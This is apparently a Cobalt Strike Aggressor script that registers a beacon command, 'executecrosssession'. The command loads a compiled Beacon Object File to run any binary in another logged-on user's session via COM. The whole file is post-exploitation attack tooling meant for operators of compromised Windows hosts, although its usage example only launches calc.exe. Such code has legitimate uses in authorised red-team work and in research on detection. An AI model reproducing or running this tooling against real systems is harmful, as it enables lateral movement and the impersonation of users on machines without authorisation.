# author REDMED-X

beacon_command_register(
	"executecrosssession", "Execute a binary on disk within the context of another logged-on user's session",
	"INFO:\nExecute a binary on disk within the context of another logged-on user's session using COM.\n\n" .
	"ARGUMENTS:\n[<binary path>]: path to the binary that you like to execute.\n[<session ID>]: specify the session ID of the user in which context the specified binary needs to be executed.\n\n" .
	"USAGE:\nexecutecrosssession <binary path> <session ID>\n\n" .
	"EXAMPLES:\nexecutecrosssession C:\\Windows\\System32\\calc.exe 2\n\n");
	
alias executecrosssession {
    $bid = $1;
    $binarypath = $2;
    $sessionid = $3;

    if ($binarypath eq "") {
        berror($bid, "Please specify the path to the binary that you want to execute.\n");
        return;
    }


    if ($sessionid eq "") {
		berror($bid, "Please specify the session ID of the user under which you want the execute the binary.\n");
		return;
    }
	
    # Read in the right BOF file
    $handle = openf(script_resource("executecrosssession.o"));
    $data   = readb($handle, -1);
    closef($handle);

    # Pack our arguments
    $arg_data  = bof_pack($bid, "Zi", $binarypath, $sessionid);

    blog($bid, "Tasked to cross-session execute a binary via COM..");
    beacon_inline_execute($bid, $data, "go", $arg_data);
}